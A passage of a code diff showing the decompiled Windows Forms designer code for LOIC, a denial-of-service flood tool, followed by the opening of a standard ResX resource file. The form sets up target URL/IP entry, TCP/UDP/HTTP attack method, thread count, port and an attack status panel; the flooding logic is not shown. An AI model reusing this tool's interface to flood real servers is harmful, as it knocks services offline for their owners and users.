this.groupBox4 = new GroupBox();
|
||||
this.cmdAttack = new Button();
|
||||
this.label11 = new Label();
|
||||
this.groupBox5 = new GroupBox();
|
||||
this.label19 = new Label();
|
||||
this.lbFailed = new Label();
|
||||
this.lbRequested = new Label();
|
||||
this.label22 = new Label();
|
||||
this.label23 = new Label();
|
||||
this.lbDownloaded = new Label();
|
||||
this.lbDownloading = new Label();
|
||||
this.lbRequesting = new Label();
|
||||
this.lbConnecting = new Label();
|
||||
this.lbIdle = new Label();
|
||||
this.label12 = new Label();
|
||||
this.label13 = new Label();
|
||||
this.label14 = new Label();
|
||||
this.label15 = new Label();
|
||||
this.label16 = new Label();
|
||||
this.TTip = new ToolTip(this.components);
|
||||
this.tShowStats = new System.Windows.Forms.Timer(this.components);
|
||||
this.pBanner = new PictureBox();
|
||||
this.groupBox1.SuspendLayout();
|
||||
this.groupBox2.SuspendLayout();
|
||||
this.groupBox3.SuspendLayout();
|
||||
this.tbSpeed.BeginInit();
|
||||
this.groupBox4.SuspendLayout();
|
||||
this.groupBox5.SuspendLayout();
|
||||
((ISupportInitialize) this.pBanner).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.groupBox1.Controls.Add((Control) this.label2);
|
||||
this.groupBox1.Controls.Add((Control) this.cmdTargetIP);
|
||||
this.groupBox1.Controls.Add((Control) this.txtTargetIP);
|
||||
this.groupBox1.Controls.Add((Control) this.label1);
|
||||
this.groupBox1.Controls.Add((Control) this.cmdTargetURL);
|
||||
this.groupBox1.Controls.Add((Control) this.txtTargetURL);
|
||||
this.groupBox1.ForeColor = Color.LightBlue;
|
||||
this.groupBox1.Location = new Point(212, 12);
|
||||
this.groupBox1.Name = "groupBox1";
|
||||
this.groupBox1.Size = new Size(465, 75);
|
||||
this.groupBox1.TabIndex = 1;
|
||||
this.groupBox1.TabStop = false;
|
||||
this.groupBox1.Text = "1. Select your target";
|
||||
this.label2.Location = new Point(6, 51);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(30, 14);
|
||||
this.label2.TabIndex = 5;
|
||||
this.label2.Text = "IP";
|
||||
this.label2.TextAlign = ContentAlignment.MiddleRight;
|
||||
this.cmdTargetIP.BackColor = Color.FromArgb(32, 64, 96);
|
||||
this.cmdTargetIP.ForeColor = Color.Azure;
|
||||
this.cmdTargetIP.Location = new Point(388, 47);
|
||||
this.cmdTargetIP.Name = "cmdTargetIP";
|
||||
this.cmdTargetIP.Size = new Size(71, 22);
|
||||
this.cmdTargetIP.TabIndex = 4;
|
||||
this.cmdTargetIP.Text = "Lock on";
|
||||
this.cmdTargetIP.UseVisualStyleBackColor = false;
|
||||
this.cmdTargetIP.Click += new EventHandler(this.cmdTargetIP_Click);
|
||||
this.txtTargetIP.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.txtTargetIP.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtTargetIP.ForeColor = Color.Azure;
|
||||
this.txtTargetIP.Location = new Point(42, 48);
|
||||
this.txtTargetIP.Name = "txtTargetIP";
|
||||
this.txtTargetIP.Size = new Size(340, 20);
|
||||
this.txtTargetIP.TabIndex = 3;
|
||||
this.TTip.SetToolTip((Control) this.txtTargetIP, "If you know your target's IP, enter the IP here and click \"Lock on\"");
|
||||
this.label1.Location = new Point(6, 23);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(30, 14);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "URL";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleRight;
|
||||
this.cmdTargetURL.BackColor = Color.FromArgb(32, 64, 96);
|
||||
this.cmdTargetURL.ForeColor = Color.Azure;
|
||||
this.cmdTargetURL.Location = new Point(388, 19);
|
||||
this.cmdTargetURL.Name = "cmdTargetURL";
|
||||
this.cmdTargetURL.Size = new Size(71, 22);
|
||||
this.cmdTargetURL.TabIndex = 2;
|
||||
this.cmdTargetURL.Text = "Lock on";
|
||||
this.cmdTargetURL.UseVisualStyleBackColor = false;
|
||||
this.cmdTargetURL.Click += new EventHandler(this.cmdTargetURL_Click);
|
||||
this.txtTargetURL.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.txtTargetURL.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtTargetURL.ForeColor = Color.Azure;
|
||||
this.txtTargetURL.Location = new Point(42, 20);
|
||||
this.txtTargetURL.Name = "txtTargetURL";
|
||||
this.txtTargetURL.Size = new Size(340, 20);
|
||||
this.txtTargetURL.TabIndex = 1;
|
||||
this.TTip.SetToolTip((Control) this.txtTargetURL, "If you don't know your target's IP, enter a URL here and click \"Lock on\"");
|
||||
this.groupBox2.Controls.Add((Control) this.txtTarget);
|
||||
this.groupBox2.ForeColor = Color.LightBlue;
|
||||
this.groupBox2.Location = new Point(212, 116);
|
||||
this.groupBox2.Name = "groupBox2";
|
||||
this.groupBox2.Size = new Size(758, 106);
|
||||
this.groupBox2.TabIndex = 3;
|
||||
this.groupBox2.TabStop = false;
|
||||
this.groupBox2.Text = "Selected target";
|
||||
this.txtTarget.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.txtTarget.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtTarget.Font = new Font("Arial", 48f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, (byte) 0);
|
||||
this.txtTarget.ForeColor = Color.Azure;
|
||||
this.txtTarget.Location = new Point(6, 19);
|
||||
this.txtTarget.Name = "txtTarget";
|
||||
this.txtTarget.Size = new Size(746, 81);
|
||||
this.txtTarget.TabIndex = 1;
|
||||
this.txtTarget.TabStop = false;
|
||||
this.txtTarget.Text = "N O N E !";
|
||||
this.txtTarget.TextAlign = HorizontalAlignment.Center;
|
||||
this.TTip.SetToolTip((Control) this.txtTarget, "The currently selected target");
|
||||
this.txtTarget.Enter += new EventHandler(this.txtTarget_Enter);
|
||||
this.label5.Location = new Point(212, 90);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new Size(23, 23);
|
||||
this.label5.TabIndex = 7;
|
||||
this.label3.Location = new Point(212, 232);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(23, 23);
|
||||
this.label3.TabIndex = 8;
|
||||
this.groupBox3.Controls.Add((Control) this.label21);
|
||||
this.groupBox3.Controls.Add((Control) this.label18);
|
||||
this.groupBox3.Controls.Add((Control) this.label17);
|
||||
this.groupBox3.Controls.Add((Control) this.label9);
|
||||
this.groupBox3.Controls.Add((Control) this.label7);
|
||||
this.groupBox3.Controls.Add((Control) this.label4);
|
||||
this.groupBox3.Controls.Add((Control) this.label6);
|
||||
this.groupBox3.Controls.Add((Control) this.label20);
|
||||
this.groupBox3.Controls.Add((Control) this.chkResp);
|
||||
this.groupBox3.Controls.Add((Control) this.txtData);
|
||||
this.groupBox3.Controls.Add((Control) this.txtSubsite);
|
||||
this.groupBox3.Controls.Add((Control) this.txtTimeout);
|
||||
this.groupBox3.Controls.Add((Control) this.txtThreads);
|
||||
this.groupBox3.Controls.Add((Control) this.cbMethod);
|
||||
this.groupBox3.Controls.Add((Control) this.txtPort);
|
||||
this.groupBox3.Controls.Add((Control) this.tbSpeed);
|
||||
this.groupBox3.ForeColor = Color.LightBlue;
|
||||
this.groupBox3.Location = new Point(212, 258);
|
||||
this.groupBox3.Name = "groupBox3";
|
||||
this.groupBox3.Size = new Size(758, 112);
|
||||
this.groupBox3.TabIndex = 4;
|
||||
this.groupBox3.TabStop = false;
|
||||
this.groupBox3.Text = "3. Attack options";
|
||||
this.label21.BackColor = Color.Azure;
|
||||
this.label21.Location = new Point(6, 61);
|
||||
this.label21.Name = "label21";
|
||||
this.label21.Size = new Size(746, 1);
|
||||
this.label21.TabIndex = 27;
|
||||
this.label21.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label18.Location = new Point(359, 16);
|
||||
this.label18.Name = "label18";
|
||||
this.label18.Size = new Size(393, 15);
|
||||
this.label18.TabIndex = 25;
|
||||
this.label18.Text = "TCP / UDP message";
|
||||
this.label18.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label17.Location = new Point(62, 16);
|
||||
this.label17.Name = "label17";
|
||||
this.label17.Size = new Size(291, 15);
|
||||
this.label17.TabIndex = 24;
|
||||
this.label17.Text = "HTTP Subsite";
|
||||
this.label17.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label9.Location = new Point(6, 16);
|
||||
this.label9.Name = "label9";
|
||||
this.label9.Size = new Size(50, 15);
|
||||
this.label9.TabIndex = 23;
|
||||
this.label9.Text = "Timeout";
|
||||
this.label9.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label7.Location = new Point(168, 94);
|
||||
this.label7.Name = "label7";
|
||||
this.label7.Size = new Size(75, 15);
|
||||
this.label7.TabIndex = 22;
|
||||
this.label7.Text = "Threads";
|
||||
this.label7.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label4.Location = new Point(87, 94);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new Size(75, 15);
|
||||
this.label4.TabIndex = 21;
|
||||
this.label4.Text = "Method";
|
||||
this.label4.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label6.Location = new Point(6, 94);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new Size(75, 15);
|
||||
this.label6.TabIndex = 20;
|
||||
this.label6.Text = "Port";
|
||||
this.label6.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label20.Location = new Point(362, 94);
|
||||
this.label20.Name = "label20";
|
||||
this.label20.Size = new Size(390, 15);
|
||||
this.label20.TabIndex = 18;
|
||||
this.label20.Text = "<= faster Speed slower =>";
|
||||
this.label20.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.chkResp.AutoSize = true;
|
||||
this.chkResp.Checked = true;
|
||||
this.chkResp.CheckState = CheckState.Checked;
|
||||
this.chkResp.Location = new Point(249, 72);
|
||||
this.chkResp.Name = "chkResp";
|
||||
this.chkResp.Size = new Size(91, 18);
|
||||
this.chkResp.TabIndex = 7;
|
||||
this.chkResp.Text = "Wait for reply";
|
||||
this.TTip.SetToolTip((Control) this.chkResp, "Don't disconnect before the server's started to answer");
|
||||
this.chkResp.UseVisualStyleBackColor = true;
|
||||
this.txtData.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.txtData.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtData.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.txtData.ForeColor = Color.Azure;
|
||||
this.txtData.Location = new Point(359, 34);
|
||||
this.txtData.Name = "txtData";
|
||||
this.txtData.Size = new Size(393, 20);
|
||||
this.txtData.TabIndex = 3;
|
||||
this.txtData.Text = "A cat is fine too. Desudesudesu~";
|
||||
this.txtData.TextAlign = HorizontalAlignment.Center;
|
||||
this.TTip.SetToolTip((Control) this.txtData, "The data to send in TCP/UDP mode");
|
||||
this.txtSubsite.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.txtSubsite.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtSubsite.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.txtSubsite.ForeColor = Color.Azure;
|
||||
this.txtSubsite.Location = new Point(62, 34);
|
||||
this.txtSubsite.Name = "txtSubsite";
|
||||
this.txtSubsite.Size = new Size(291, 20);
|
||||
this.txtSubsite.TabIndex = 2;
|
||||
this.txtSubsite.Text = "/";
|
||||
this.txtSubsite.TextAlign = HorizontalAlignment.Center;
|
||||
this.TTip.SetToolTip((Control) this.txtSubsite, "What subsite to target (when using HTTP as type)");
|
||||
this.txtTimeout.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.txtTimeout.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtTimeout.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.txtTimeout.ForeColor = Color.Azure;
|
||||
this.txtTimeout.Location = new Point(6, 34);
|
||||
this.txtTimeout.Name = "txtTimeout";
|
||||
this.txtTimeout.Size = new Size(50, 20);
|
||||
this.txtTimeout.TabIndex = 1;
|
||||
this.txtTimeout.Text = "9001";
|
||||
this.txtTimeout.TextAlign = HorizontalAlignment.Center;
|
||||
this.TTip.SetToolTip((Control) this.txtTimeout, "Max time to wait for a response");
|
||||
this.txtThreads.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.txtThreads.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtThreads.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.txtThreads.ForeColor = Color.Azure;
|
||||
this.txtThreads.Location = new Point(168, 71);
|
||||
this.txtThreads.Name = "txtThreads";
|
||||
this.txtThreads.Size = new Size(75, 20);
|
||||
this.txtThreads.TabIndex = 6;
|
||||
this.txtThreads.Text = "10";
|
||||
this.txtThreads.TextAlign = HorizontalAlignment.Center;
|
||||
this.TTip.SetToolTip((Control) this.txtThreads, "How many users LOIC should emulate");
|
||||
this.cbMethod.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.cbMethod.DropDownStyle = ComboBoxStyle.DropDownList;
|
||||
this.cbMethod.FlatStyle = FlatStyle.Popup;
|
||||
this.cbMethod.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.cbMethod.ForeColor = Color.Azure;
|
||||
this.cbMethod.FormattingEnabled = true;
|
||||
this.cbMethod.Items.AddRange(new object[3]
|
||||
{
|
||||
(object) "TCP",
|
||||
(object) "UDP",
|
||||
(object) "HTTP"
|
||||
});
|
||||
this.cbMethod.Location = new Point(87, 69);
|
||||
this.cbMethod.Name = "cbMethod";
|
||||
this.cbMethod.Size = new Size(75, 22);
|
||||
this.cbMethod.TabIndex = 5;
|
||||
this.TTip.SetToolTip((Control) this.cbMethod, "What type of attack to launch");
|
||||
this.txtPort.BackColor = Color.FromArgb(24, 48, 64);
|
||||
this.txtPort.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.txtPort.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.txtPort.ForeColor = Color.Azure;
|
||||
this.txtPort.Location = new Point(6, 70);
|
||||
this.txtPort.Name = "txtPort";
|
||||
this.txtPort.Size = new Size(75, 20);
|
||||
this.txtPort.TabIndex = 4;
|
||||
this.txtPort.Text = "80";
|
||||
this.txtPort.TextAlign = HorizontalAlignment.Center;
|
||||
this.TTip.SetToolTip((Control) this.txtPort, "What port to attack (regular websites use 80)");
|
||||
this.tbSpeed.Location = new Point(362, 65);
|
||||
this.tbSpeed.Maximum = 20;
|
||||
this.tbSpeed.Name = "tbSpeed";
|
||||
this.tbSpeed.Size = new Size(390, 45);
|
||||
this.tbSpeed.TabIndex = 8;
|
||||
this.tbSpeed.ValueChanged += new EventHandler(this.tbSpeed_ValueChanged);
|
||||
this.label10.Location = new Point(683, 9);
|
||||
this.label10.Name = "label10";
|
||||
this.label10.Size = new Size(23, 23);
|
||||
this.label10.TabIndex = 9;
|
||||
this.groupBox4.Controls.Add((Control) this.cmdAttack);
|
||||
this.groupBox4.ForeColor = Color.LightBlue;
|
||||
this.groupBox4.Location = new Point(712, 12);
|
||||
this.groupBox4.Name = "groupBox4";
|
||||
this.groupBox4.Size = new Size(258, 75);
|
||||
this.groupBox4.TabIndex = 2;
|
||||
this.groupBox4.TabStop = false;
|
||||
this.groupBox4.Text = "2. Ready?";
|
||||
this.cmdAttack.BackColor = Color.FromArgb(32, 64, 96);
|
||||
this.cmdAttack.Font = new Font("Arial", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.cmdAttack.ForeColor = Color.Azure;
|
||||
this.cmdAttack.Location = new Point(6, 19);
|
||||
this.cmdAttack.Name = "cmdAttack";
|
||||
this.cmdAttack.Size = new Size(246, 50);
|
||||
this.cmdAttack.TabIndex = 1;
|
||||
this.cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
|
||||
this.TTip.SetToolTip((Control) this.cmdAttack, "I sincerely hope you can guess what this button does.");
|
||||
this.cmdAttack.UseVisualStyleBackColor = false;
|
||||
this.cmdAttack.Click += new EventHandler(this.cmdAttack_Click);
|
||||
this.label11.Location = new Point(212, 380);
|
||||
this.label11.Name = "label11";
|
||||
this.label11.Size = new Size(23, 23);
|
||||
this.label11.TabIndex = 10;
|
||||
this.groupBox5.Controls.Add((Control) this.label19);
|
||||
this.groupBox5.Controls.Add((Control) this.lbFailed);
|
||||
this.groupBox5.Controls.Add((Control) this.lbRequested);
|
||||
this.groupBox5.Controls.Add((Control) this.label22);
|
||||
this.groupBox5.Controls.Add((Control) this.label23);
|
||||
this.groupBox5.Controls.Add((Control) this.lbDownloaded);
|
||||
this.groupBox5.Controls.Add((Control) this.lbDownloading);
|
||||
this.groupBox5.Controls.Add((Control) this.lbRequesting);
|
||||
this.groupBox5.Controls.Add((Control) this.lbConnecting);
|
||||
this.groupBox5.Controls.Add((Control) this.lbIdle);
|
||||
this.groupBox5.Controls.Add((Control) this.label12);
|
||||
this.groupBox5.Controls.Add((Control) this.label13);
|
||||
this.groupBox5.Controls.Add((Control) this.label14);
|
||||
this.groupBox5.Controls.Add((Control) this.label15);
|
||||
this.groupBox5.Controls.Add((Control) this.label16);
|
||||
this.groupBox5.ForeColor = Color.LightBlue;
|
||||
this.groupBox5.Location = new Point(212, 406);
|
||||
this.groupBox5.Name = "groupBox5";
|
||||
this.groupBox5.Size = new Size(758, 68);
|
||||
this.groupBox5.TabIndex = 5;
|
||||
this.groupBox5.TabStop = false;
|
||||
this.groupBox5.Text = "Attack status";
|
||||
this.label19.BackColor = Color.Azure;
|
||||
this.label19.Location = new Point(6, 40);
|
||||
this.label19.Name = "label19";
|
||||
this.label19.Size = new Size(746, 1);
|
||||
this.label19.TabIndex = 25;
|
||||
this.label19.Text = "Idle";
|
||||
this.label19.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.lbFailed.Location = new Point(648, 41);
|
||||
this.lbFailed.Name = "lbFailed";
|
||||
this.lbFailed.Size = new Size(101, 24);
|
||||
this.lbFailed.TabIndex = 24;
|
||||
this.lbFailed.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.TTip.SetToolTip((Control) this.lbFailed, "How many times (in total) the webserver didn't respond. High number = server down.");
|
||||
this.lbRequested.Location = new Point(541, 41);
|
||||
this.lbRequested.Name = "lbRequested";
|
||||
this.lbRequested.Size = new Size(101, 24);
|
||||
this.lbRequested.TabIndex = 23;
|
||||
this.lbRequested.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.TTip.SetToolTip((Control) this.lbRequested, "How many times (in total) a download has been requested");
|
||||
this.label22.Location = new Point(648, 16);
|
||||
this.label22.Name = "label22";
|
||||
this.label22.Size = new Size(101, 24);
|
||||
this.label22.TabIndex = 22;
|
||||
this.label22.Text = "Failed";
|
||||
this.label22.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label23.Location = new Point(541, 16);
|
||||
this.label23.Name = "label23";
|
||||
this.label23.Size = new Size(101, 24);
|
||||
this.label23.TabIndex = 21;
|
||||
this.label23.Text = "Requested";
|
||||
this.label23.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.lbDownloaded.Location = new Point(434, 41);
|
||||
this.lbDownloaded.Name = "lbDownloaded";
|
||||
this.lbDownloaded.Size = new Size(101, 24);
|
||||
this.lbDownloaded.TabIndex = 20;
|
||||
this.lbDownloaded.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.TTip.SetToolTip((Control) this.lbDownloaded, "How many times (in total) that a download has been initiated");
|
||||
this.lbDownloading.BackColor = Color.FromArgb(12, 24, 32);
|
||||
this.lbDownloading.Location = new Point(327, 41);
|
||||
this.lbDownloading.Name = "lbDownloading";
|
||||
this.lbDownloading.Size = new Size(101, 24);
|
||||
this.lbDownloading.TabIndex = 19;
|
||||
this.lbDownloading.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.TTip.SetToolTip((Control) this.lbDownloading, "How many threads that are downloading information from the server");
|
||||
this.lbRequesting.Location = new Point(220, 41);
|
||||
this.lbRequesting.Name = "lbRequesting";
|
||||
this.lbRequesting.Size = new Size(101, 24);
|
||||
this.lbRequesting.TabIndex = 18;
|
||||
this.lbRequesting.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.TTip.SetToolTip((Control) this.lbRequesting, "How many threads that are requesting information from the server");
|
||||
this.lbConnecting.Location = new Point(113, 41);
|
||||
this.lbConnecting.Name = "lbConnecting";
|
||||
this.lbConnecting.Size = new Size(101, 24);
|
||||
this.lbConnecting.TabIndex = 17;
|
||||
this.lbConnecting.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.TTip.SetToolTip((Control) this.lbConnecting, "How many threads that are trying to connect");
|
||||
this.lbIdle.Location = new Point(6, 41);
|
||||
this.lbIdle.Name = "lbIdle";
|
||||
this.lbIdle.Size = new Size(101, 24);
|
||||
this.lbIdle.TabIndex = 16;
|
||||
this.lbIdle.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.TTip.SetToolTip((Control) this.lbIdle, "How many threads that are without work. Should be 0");
|
||||
this.label12.Location = new Point(434, 16);
|
||||
this.label12.Name = "label12";
|
||||
this.label12.Size = new Size(101, 24);
|
||||
this.label12.TabIndex = 15;
|
||||
this.label12.Text = "Downloaded";
|
||||
this.label12.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label13.Location = new Point(327, 16);
|
||||
this.label13.Name = "label13";
|
||||
this.label13.Size = new Size(101, 24);
|
||||
this.label13.TabIndex = 14;
|
||||
this.label13.Text = "Downloading";
|
||||
this.label13.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label14.Location = new Point(220, 16);
|
||||
this.label14.Name = "label14";
|
||||
this.label14.Size = new Size(101, 24);
|
||||
this.label14.TabIndex = 13;
|
||||
this.label14.Text = "Requesting";
|
||||
this.label14.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label15.Location = new Point(113, 16);
|
||||
this.label15.Name = "label15";
|
||||
this.label15.Size = new Size(101, 24);
|
||||
this.label15.TabIndex = 12;
|
||||
this.label15.Text = "Connecting";
|
||||
this.label15.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label16.Location = new Point(6, 16);
|
||||
this.label16.Name = "label16";
|
||||
this.label16.Size = new Size(101, 24);
|
||||
this.label16.TabIndex = 11;
|
||||
this.label16.Text = "Idle";
|
||||
this.label16.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.tShowStats.Interval = 10;
|
||||
this.tShowStats.Tick += new EventHandler(this.tShowStats_Tick);
|
||||
this.pBanner.Image = (Image) Resources.LOIC;
|
||||
this.pBanner.Location = new Point(12, 12);
|
||||
this.pBanner.Name = "pBanner";
|
||||
this.pBanner.Size = new Size(184, 462);
|
||||
this.pBanner.TabIndex = 12;
|
||||
this.pBanner.TabStop = false;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackColor = Color.FromArgb(12, 24, 32);
|
||||
this.ClientSize = new Size(982, 486);
|
||||
this.Controls.Add((Control) this.pBanner);
|
||||
this.Controls.Add((Control) this.groupBox3);
|
||||
this.Controls.Add((Control) this.groupBox5);
|
||||
this.Controls.Add((Control) this.label11);
|
||||
this.Controls.Add((Control) this.groupBox4);
|
||||
this.Controls.Add((Control) this.label10);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.Controls.Add((Control) this.label5);
|
||||
this.Controls.Add((Control) this.groupBox2);
|
||||
this.Controls.Add((Control) this.groupBox1);
|
||||
this.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.ForeColor = Color.LightBlue;
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (frmMain);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (frmMain);
|
||||
this.Load += new EventHandler(this.frmMain_Load);
|
||||
this.groupBox1.ResumeLayout(false);
|
||||
this.groupBox1.PerformLayout();
|
||||
this.groupBox2.ResumeLayout(false);
|
||||
this.groupBox2.PerformLayout();
|
||||
this.groupBox3.ResumeLayout(false);
|
||||
this.groupBox3.PerformLayout();
|
||||
this.tbSpeed.EndInit();
|
||||
this.groupBox4.ResumeLayout(false);
|
||||
this.groupBox5.ResumeLayout(false);
|
||||
((ISupportInitialize) this.pBanner).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
